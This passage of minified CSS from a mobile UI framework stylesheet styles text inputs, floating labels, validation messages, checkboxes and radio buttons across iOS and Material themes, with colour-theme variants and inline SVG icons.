.input:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .item-floating-label,.md .item-label{font-size:12px;width:100%;color:rgba(0,0,0,.65);-webkit-transition-duration:.2s;transition-duration:.2s;line-height:13px;-webkit-transition-property:color,-webkit-transform;transition-property:color,-webkit-transform;transition-property:transform,color;transition-property:transform,color,-webkit-transform}.md .item-floating-label{-webkit-transform:scale(1.33333333) translateY(18px);transform:scale(1.33333333) translateY(18px);color:rgba(0,0,0,.35);width:auto;max-width:75%;pointer-events:none;-webkit-transform-origin:left;transform-origin:left}.md .item-floating-label~.item-input-wrap input::-webkit-input-placeholder,.md .item-floating-label~.item-input-wrap textarea::-webkit-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input:-ms-input-placeholder,.md .item-floating-label~.item-input-wrap textarea:-ms-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input::-ms-input-placeholder,.md .item-floating-label~.item-input-wrap textarea::-ms-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input::placeholder,.md .item-floating-label~.item-input-wrap textarea::placeholder{color:transparent!important}.md .item-input-focused .item-floating-label,.md .item-input-with-value .item-floating-label{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}.md .item-input-with-value .item-floating-label{color:rgba(0,0,0,.65)}.md .item-input .item-media{-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end}.md .item-input .item-inner{display:block}.md .item-input .item-inner:after{display:none!important}.md .inline-label .item-media,.md .inline-labels .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:14px}.md .inline-label .item-inner,.md .inline-labels .item-inner{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.md .inline-label .item-floating-label,.md .inline-label .item-label,.md .inline-labels .item-floating-label,.md .inline-labels .item-label{font-size:16px;width:30%;line-height:1.5;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:7px}.md .inline-label .item-floating-label+.item-input-wrap,.md .inline-label .item-label+.item-input-wrap,.md .inline-labels .item-floating-label+.item-input-wrap,.md .inline-labels .item-label+.item-input-wrap{margin-left:8px}.md .item-input-with-error-message,.md .item-input-with-info,.md div.input-with-error-message,.md div.input-with-info,.md span.input-with-error-message,.md span.input-with-info{padding-bottom:20px}.md .input-error-message,.md .input-info,.md .item-input-error-message,.md .item-input-info{font-size:12px;line-height:1.4;position:absolute;top:100%;margin-top:4px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;left:0;right:16px}.md .input-info,.md .item-input-info{color:rgba(0,0,0,.45)}.md .input-error-message,.md .item-input-error-message{color:#f44336;display:none}.md .item-input-focused .item-floating-label,.md .item-input-focused .item-label{color:#2196f3}.md .input-focused:after,.md .item-input-focused .item-input-wrap:after{background:#2196f3}.md .item-input-invalid .item-floating-label,.md .item-input-invalid .item-label,.md .item-invalid .item-floating-label,.md .item-invalid .item-label{color:#f44336}.md .item-input-invalid .input-error-message,.md .item-input-invalid .item-input-error-message,.md .item-invalid .input-error-message,.md .item-invalid .item-input-error-message{display:block}.md .item-input-invalid .input-info,.md .item-input-invalid .item-input-info,.md .item-invalid .input-info,.md .item-invalid .item-input-info{display:none}.md .input-invalid:after,.md .item-input-invalid .item-input-wrap:after{background:#f44336}.md .item-input-focused .item-input-wrap:after,.md .item-input-invalid .item-input-wrap:after{-webkit-transform:scaleY(2);transform:scaleY(2)}.md .input-focused:after,.md .input-invalid:after{-webkit-transform:scaleY(2)!important;transform:scaleY(2)!important}.md .input-clear-button{width:24px;height:24px;background:rgba(0,0,0,.12);margin-top:-12px}.md .input-clear-button:after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");background-size:16px 16px;opacity:.54}.md .input-clear-button:before{width:48px;height:48px;margin-left:-24px;margin-top:-24px}.md .item-input-wrap .input-clear-button{bottom:6px;margin-top:0;top:auto}.md .theme-dark input[type=date],.md .theme-dark input[type=datetime-local],.md .theme-dark input[type=email],.md .theme-dark input[type=number],.md .theme-dark input[type=password],.md .theme-dark input[type=search],.md .theme-dark input[type=tel],.md .theme-dark input[type=text],.md .theme-dark input[type=time],.md .theme-dark input[type=url],.md .theme-dark select,.md .theme-dark textarea{color:rgba(255,255,255,.87)}.md .theme-dark input[type=date]::-webkit-input-placeholder,.md .theme-dark input[type=datetime-local]::-webkit-input-placeholder,.md .theme-dark input[type=email]::-webkit-input-placeholder,.md .theme-dark input[type=number]::-webkit-input-placeholder,.md .theme-dark input[type=password]::-webkit-input-placeholder,.md .theme-dark input[type=search]::-webkit-input-placeholder,.md .theme-dark input[type=tel]::-webkit-input-placeholder,.md .theme-dark input[type=text]::-webkit-input-placeholder,.md .theme-dark input[type=time]::-webkit-input-placeholder,.md .theme-dark input[type=url]::-webkit-input-placeholder,.md .theme-dark select::-webkit-input-placeholder,.md .theme-dark textarea::-webkit-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]:-ms-input-placeholder,.md .theme-dark input[type=datetime-local]:-ms-input-placeholder,.md .theme-dark input[type=email]:-ms-input-placeholder,.md .theme-dark input[type=number]:-ms-input-placeholder,.md .theme-dark input[type=password]:-ms-input-placeholder,.md .theme-dark input[type=search]:-ms-input-placeholder,.md .theme-dark input[type=tel]:-ms-input-placeholder,.md .theme-dark input[type=text]:-ms-input-placeholder,.md .theme-dark input[type=time]:-ms-input-placeholder,.md .theme-dark input[type=url]:-ms-input-placeholder,.md .theme-dark select:-ms-input-placeholder,.md .theme-dark textarea:-ms-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]::-ms-input-placeholder,.md .theme-dark input[type=datetime-local]::-ms-input-placeholder,.md .theme-dark input[type=email]::-ms-input-placeholder,.md .theme-dark input[type=number]::-ms-input-placeholder,.md .theme-dark input[type=password]::-ms-input-placeholder,.md .theme-dark input[type=search]::-ms-input-placeholder,.md .theme-dark input[type=tel]::-ms-input-placeholder,.md .theme-dark input[type=text]::-ms-input-placeholder,.md .theme-dark input[type=time]::-ms-input-placeholder,.md .theme-dark input[type=url]::-ms-input-placeholder,.md .theme-dark select::-ms-input-placeholder,.md .theme-dark textarea::-ms-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]::placeholder,.md .theme-dark input[type=datetime-local]::placeholder,.md .theme-dark input[type=email]::placeholder,.md .theme-dark input[type=number]::placeholder,.md .theme-dark input[type=password]::placeholder,.md .theme-dark input[type=search]::placeholder,.md .theme-dark input[type=tel]::placeholder,.md .theme-dark input[type=text]::placeholder,.md .theme-dark input[type=time]::placeholder,.md .theme-dark input[type=url]::placeholder,.md .theme-dark select::placeholder,.md .theme-dark textarea::placeholder{color:rgba(255,255,255,.35)}.md .theme-dark .input:after,.md .theme-dark .item-input:not(.item-input-focused) .item-input-wrap:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-floating-label,.md .theme-dark .item-label{color:rgba(255,255,255,.54)}.md .theme-dark .item-floating-label{color:rgba(255,255,255,.35)}.md .theme-dark .item-input-with-value .item-floating-label{color:rgba(255,255,255,.54)}.md .theme-dark .input-clear-button{background:#fff}.md .color-theme-red .item-input-focused .item-floating-label,.md .color-theme-red .item-input-focused .item-label{color:#f44336}.md .color-theme-red .input-after:after,.md .color-theme-red .item-input-focused .item-input-wrap:after{background:#f44336}.md .color-theme-green .item-input-focused .item-floating-label,.md .color-theme-green .item-input-focused .item-label{color:#4caf50}.md .color-theme-green .input-after:after,.md .color-theme-green .item-input-focused .item-input-wrap:after{background:#4caf50}.md .color-theme-blue .item-input-focused .item-floating-label,.md .color-theme-blue .item-input-focused .item-label{color:#2196f3}.md .color-theme-blue .input-after:after,.md .color-theme-blue .item-input-focused .item-input-wrap:after{background:#2196f3}.md .color-theme-pink .item-input-focused .item-floating-label,.md .color-theme-pink .item-input-focused .item-label{color:#e91e63}.md .color-theme-pink .input-after:after,.md .color-theme-pink .item-input-focused .item-input-wrap:after{background:#e91e63}.md .color-theme-yellow .item-input-focused .item-floating-label,.md .color-theme-yellow .item-input-focused .item-label{color:#ffeb3b}.md .color-theme-yellow .input-after:after,.md .color-theme-yellow .item-input-focused .item-input-wrap:after{background:#ffeb3b}.md .color-theme-orange .item-input-focused .item-floating-label,.md .color-theme-orange .item-input-focused .item-label{color:#ff9800}.md .color-theme-orange .input-after:after,.md .color-theme-orange .item-input-focused .item-input-wrap:after{background:#ff9800}.md .color-theme-gray .item-input-focused .item-floating-label,.md .color-theme-gray .item-input-focused .item-label{color:#9e9e9e}.md .color-theme-gray .input-after:after,.md .color-theme-gray .item-input-focused .item-input-wrap:after{background:#9e9e9e}.md .color-theme-white .item-input-focused .item-floating-label,.md .color-theme-white .item-input-focused .item-label{color:#fff}.md .color-theme-white .input-after:after,.md .color-theme-white .item-input-focused .item-input-wrap:after{background:#fff}.md .color-theme-black .item-input-focused .item-floating-label,.md .color-theme-black .item-input-focused .item-label{color:#000}.md .color-theme-black .input-after:after,.md .color-theme-black .item-input-focused .item-input-wrap:after{background:#000}.md .item-input-focused.color-red .item-floating-label,.md .item-input-focused.color-red .item-label{color:#f44336}.md .input-after.color-red:after,.md .item-input-focused.color-red .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-green .item-floating-label,.md .item-input-focused.color-green .item-label{color:#4caf50}.md .input-after.color-green:after,.md .item-input-focused.color-green .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-blue .item-floating-label,.md .item-input-focused.color-blue .item-label{color:#2196f3}.md .input-after.color-blue:after,.md .item-input-focused.color-blue .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-pink .item-floating-label,.md .item-input-focused.color-pink .item-label{color:#e91e63}.md .input-after.color-pink:after,.md .item-input-focused.color-pink .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-yellow .item-floating-label,.md .item-input-focused.color-yellow .item-label{color:#ffeb3b}.md .input-after.color-yellow:after,.md .item-input-focused.color-yellow .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-orange .item-floating-label,.md .item-input-focused.color-orange .item-label{color:#ff9800}.md .input-after.color-orange:after,.md .item-input-focused.color-orange .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-gray .item-floating-label,.md .item-input-focused.color-gray .item-label{color:#9e9e9e}.md .input-after.color-gray:after,.md .item-input-focused.color-gray .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-white .item-floating-label,.md .item-input-focused.color-white .item-label{color:#fff}.md .input-after.color-white:after,.md .item-input-focused.color-white .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-black .item-floating-label,.md .item-input-focused.color-black .item-label{color:#000}.md .input-after.color-black:after,.md .item-input-focused.color-black .item-input-wrap:after{background:#f44336}.checkbox i,.icon-checkbox{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.checkbox{position:relative;display:inline-block;vertical-align:middle;z-index:1}.checkbox,label.item-checkbox{cursor:pointer}.checkbox input[type=checkbox],.checkbox input[type=radio],label.item-checkbox input[type=checkbox],label.item-checkbox input[type=radio]{display:none}.checkbox .icon-checkbox,label.item-checkbox .icon-checkbox{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.checkbox .icon-checkbox:after,label.item-checkbox .icon-checkbox:after{content:'';position:absolute}label.item-checkbox{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-checkbox.active-state:after{background-color:transparent}.disabled label.item-checkbox,label.item-checkbox.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.ios .checkbox i,.ios .icon-checkbox{width:22px;height:22px;border-radius:50%;border:1px solid #c7c7cc}.ios .checkbox i:after,.ios .icon-checkbox:after{left:50%;top:50%;margin-left:-6px;margin-top:-4px;width:12px;height:9px}.ios .checkbox input[type=checkbox]:checked~i,.ios label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{border:none;background:#007aff}.ios .checkbox input[type=checkbox]:checked~i:after,.ios label.item-checkbox input[type=checkbox]:checked~.icon-checkbox:after{background:no-repeat center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20x%3D'0px'%20y%3D'0px'%20viewBox%3D'0%200%2012%209'%20xml%3Aspace%3D'preserve'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'12%2C0.7%2011.3%2C0%203.9%2C7.4%200.7%2C4.2%200%2C4.9%203.9%2C8.8%203.9%2C8.8%203.9%2C8.8%20'%2F%3E%3C%2Fsvg%3E");background-size:12px 9px}.ios label.item-checkbox>.icon-checkbox{margin-right:15px}.ios label.item-checkbox .item-content .item-media,.ios label.item-checkbox.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.ios label.item-checkbox.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .theme-dark label.item-checkbox.active-state{background-color:#363636}.ios .color-theme-red .checkbox input[type=checkbox]:checked~i,.ios .color-theme-red label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff3b30}.ios .color-theme-green .checkbox input[type=checkbox]:checked~i,.ios .color-theme-green label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#4cd964}.ios .color-theme-blue .checkbox input[type=checkbox]:checked~i,.ios .color-theme-blue label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#007aff}.ios .color-theme-pink .checkbox input[type=checkbox]:checked~i,.ios .color-theme-pink label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff2d55}.ios .color-theme-yellow .checkbox input[type=checkbox]:checked~i,.ios .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#fc0}.ios .color-theme-orange .checkbox input[type=checkbox]:checked~i,.ios .color-theme-orange label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff9500}.ios .color-theme-gray .checkbox input[type=checkbox]:checked~i,.ios .color-theme-gray label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#8e8e93}.ios .color-theme-white .checkbox input[type=checkbox]:checked~i,.ios .color-theme-white label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#fff}.ios .color-theme-black .checkbox input[type=checkbox]:checked~i,.ios .color-theme-black label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#000}.ios .checkbox.color-red input[type=checkbox]:checked~i,.ios label.item-checkbox.color-red input[type=checkbox]:checked~.icon-checkbox{background:#ff3b30}.ios .checkbox.color-green input[type=checkbox]:checked~i,.ios label.item-checkbox.color-green input[type=checkbox]:checked~.icon-checkbox{background:#4cd964}.ios .checkbox.color-blue input[type=checkbox]:checked~i,.ios label.item-checkbox.color-blue input[type=checkbox]:checked~.icon-checkbox{background:#007aff}.ios .checkbox.color-pink input[type=checkbox]:checked~i,.ios label.item-checkbox.color-pink input[type=checkbox]:checked~.icon-checkbox{background:#ff2d55}.ios .checkbox.color-yellow input[type=checkbox]:checked~i,.ios label.item-checkbox.color-yellow input[type=checkbox]:checked~.icon-checkbox{background:#fc0}.ios .checkbox.color-orange input[type=checkbox]:checked~i,.ios label.item-checkbox.color-orange input[type=checkbox]:checked~.icon-checkbox{background:#ff9500}.ios .checkbox.color-gray input[type=checkbox]:checked~i,.ios label.item-checkbox.color-gray input[type=checkbox]:checked~.icon-checkbox{background:#8e8e93}.ios .checkbox.color-white input[type=checkbox]:checked~i,.ios label.item-checkbox.color-white input[type=checkbox]:checked~.icon-checkbox{background:#fff}.ios .checkbox.color-black input[type=checkbox]:checked~i,.ios label.item-checkbox.color-black input[type=checkbox]:checked~.icon-checkbox{background:#000}.md .checkbox i,.md .icon-checkbox{width:18px;height:18px;border-radius:2px;border:2px solid #6d6d6d;-webkit-transition-duration:.2s;transition-duration:.2s;background-color:transparent}.md .checkbox i:after,.md .icon-checkbox:after{width:18px;height:18px;left:-2px;top:-2px;-webkit-transition-duration:.2s;transition-duration:.2s;opacity:0;background:no-repeat center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M9%2016.17L4.83%2012l-1.42%201.41L9%2019%2021%207l-1.41-1.41z'%2F%3E%3C%2Fsvg%3E");background-size:100% auto}.md .checkbox input[type=checkbox]:checked~i,.md label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md .checkbox input[type=checkbox]:checked~i:after,.md label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox:after,.md label.item-checkbox input[type=checkbox]:checked~.icon-checkbox:after{opacity:1}.md label.item-checkbox{position:relative;overflow:hidden;z-index:0}.md label.item-checkbox>.icon-checkbox{margin-right:38px}.md label.item-checkbox .item-content .item-media,.md label.item-checkbox.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.md label.item-checkbox.active-state{background-color:rgba(0,0,0,.1)}.md .theme-dark label.item-checkbox.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .checkbox i,.md .theme-dark .icon-checkbox{border-color:rgba(255,255,255,.54)}.md .color-theme-red .checkbox input[type=checkbox]:checked~i,.md .color-theme-red label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-red label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#f44336;border-color:#f44336}.md .color-theme-red .checkbox .ripple-wave{background:rgba(244,67,54,.5)}.md .color-theme-green .checkbox input[type=checkbox]:checked~i,.md .color-theme-green label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-green label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#4caf50;border-color:#4caf50}.md .color-theme-green .checkbox .ripple-wave{background:rgba(76,175,80,.5)}.md .color-theme-blue .checkbox input[type=checkbox]:checked~i,.md .color-theme-blue label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-blue label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md .color-theme-blue .checkbox .ripple-wave{background:rgba(33,150,243,.5)}.md .color-theme-pink .checkbox input[type=checkbox]:checked~i,.md .color-theme-pink label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-pink label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#e91e63;border-color:#e91e63}.md .color-theme-pink .checkbox .ripple-wave{background:rgba(233,30,99,.5)}.md .color-theme-yellow .checkbox input[type=checkbox]:checked~i,.md .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#ffeb3b;border-color:#ffeb3b}.md .color-theme-yellow .checkbox .ripple-wave{background:rgba(255,235,59,.5)}.md .color-theme-orange .checkbox input[type=checkbox]:checked~i,.md .color-theme-orange label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-orange label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#ff9800;border-color:#ff9800}.md .color-theme-orange .checkbox .ripple-wave{background:rgba(255,152,0,.5)}.md .color-theme-gray .checkbox input[type=checkbox]:checked~i,.md .color-theme-gray label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-gray label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#9e9e9e;border-color:#9e9e9e}.md .color-theme-gray .checkbox .ripple-wave{background:rgba(158,158,158,.5)}.md .color-theme-white .checkbox input[type=checkbox]:checked~i,.md .color-theme-white label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-white label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#fff;border-color:#fff}.md .color-theme-white .checkbox .ripple-wave{background:rgba(255,255,255,.5)}.md .color-theme-black .checkbox input[type=checkbox]:checked~i,.md .color-theme-black label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-black label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#000;border-color:#000}.md .color-theme-black .checkbox .ripple-wave{background:rgba(0,0,0,.5)}.md .checkbox.color-red input[type=checkbox]:checked~i,.md label.item-checkbox.color-red input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-red input[type=checkbox]:checked~.icon-checkbox{background-color:#f44336;border-color:#f44336}.md .checkbox.color-red .ripple-wave{background:rgba(244,67,54,.5)}.md .checkbox.color-green input[type=checkbox]:checked~i,.md label.item-checkbox.color-green input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-green input[type=checkbox]:checked~.icon-checkbox{background-color:#4caf50;border-color:#4caf50}.md .checkbox.color-green .ripple-wave{background:rgba(76,175,80,.5)}.md .checkbox.color-blue input[type=checkbox]:checked~i,.md label.item-checkbox.color-blue input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-blue input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md .checkbox.color-blue .ripple-wave{background:rgba(33,150,243,.5)}.md .checkbox.color-pink input[type=checkbox]:checked~i,.md label.item-checkbox.color-pink input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-pink input[type=checkbox]:checked~.icon-checkbox{background-color:#e91e63;border-color:#e91e63}.md .checkbox.color-pink .ripple-wave{background:rgba(233,30,99,.5)}.md .checkbox.color-yellow input[type=checkbox]:checked~i,.md label.item-checkbox.color-yellow input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-yellow input[type=checkbox]:checked~.icon-checkbox{background-color:#ffeb3b;border-color:#ffeb3b}.md .checkbox.color-yellow .ripple-wave{background:rgba(255,235,59,.5)}.md .checkbox.color-orange input[type=checkbox]:checked~i,.md label.item-checkbox.color-orange input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-orange input[type=checkbox]:checked~.icon-checkbox{background-color:#ff9800;border-color:#ff9800}.md .checkbox.color-orange .ripple-wave{background:rgba(255,152,0,.5)}.md .checkbox.color-gray input[type=checkbox]:checked~i,.md label.item-checkbox.color-gray input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-gray input[type=checkbox]:checked~.icon-checkbox{background-color:#9e9e9e;border-color:#9e9e9e}.md .checkbox.color-gray .ripple-wave{background:rgba(158,158,158,.5)}.md .checkbox.color-white input[type=checkbox]:checked~i,.md label.item-checkbox.color-white input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-white input[type=checkbox]:checked~.icon-checkbox{background-color:#fff;border-color:#fff}.md .checkbox.color-white .ripple-wave{background:rgba(255,255,255,.5)}.md .checkbox.color-black input[type=checkbox]:checked~i,.md label.item-checkbox.color-black input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-black input[type=checkbox]:checked~.icon-checkbox{background-color:#000;border-color:#000}.md .checkbox.color-black .ripple-wave{background:rgba(0,0,0,.5)}.icon-radio{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.radio{position:relative;display:inline-block;vertical-align:middle;z-index:1}.radio,label.item-radio{cursor:pointer}.radio input[type=checkbox],.radio input[type=radio],label.item-radio input[type=checkbox],label.item-radio input[type=radio]{display:none}.radio .icon-radio,label.item-radio .icon-radio{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.radio .icon-radio:after,label.item-radio .icon-radio:after{content:'';position:absolute}label.item-radio{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-radio.active-state:after{background-color:transparent}.disabled label.item-radio,label.item-radio.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.ios .icon-radio{width:22px;height:22px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;display:block}.ios .radio .icon-radio{border-radius:50%;border:1px solid #c7c7cc}.ios label.item-radio input[type=radio]~.icon-radio{position:absolute;top:50%;margin-top:-11px;right:10px}.ios label.item-radio .item-inner{padding-right:35px}.ios .radio input[type=radio]:checked~.icon-radio,.ios label.item-radio input[type=radio]:checked~* .icon-radio,.ios label.item-radio input[type=radio]:checked~.icon-radio{background:no-repeat center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E");background-size:13px 10px}.ios .radio input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios label.item-radio .item-content .item-media,.ios label.item-radio.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.ios label.item-radio.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}@media (orientation:landscape){.ios.device-iphone-x .ios-edges label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .ios-right-edge label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .panel-right label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .popup label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .sheet-modal label.item-radio input[type=radio]~.icon-radio{right:calc(10px + constant(safe-area-inset-right));right:calc(10px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner{padding-right:calc(35px + constant(safe-area-inset-right))!important;padding-right:calc(35px + env(safe-area-inset-right))}}.ios .theme-dark label.item-radio.active-state{background-color:#363636}.ios .color-theme-red .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .radio input[type=radio]:checked~.icon-radio{border-color:#ff3b30}.ios .color-theme-green .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .radio input[type=radio]:checked~.icon-radio{border-color:#4cd964}.ios .color-theme-blue .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-blue label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .radio input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios .color-theme-pink .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .radio input[type=radio]:checked~.icon-radio{border-color:#ff2d55}.ios .color-theme-yellow .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-yellow label.item-radio 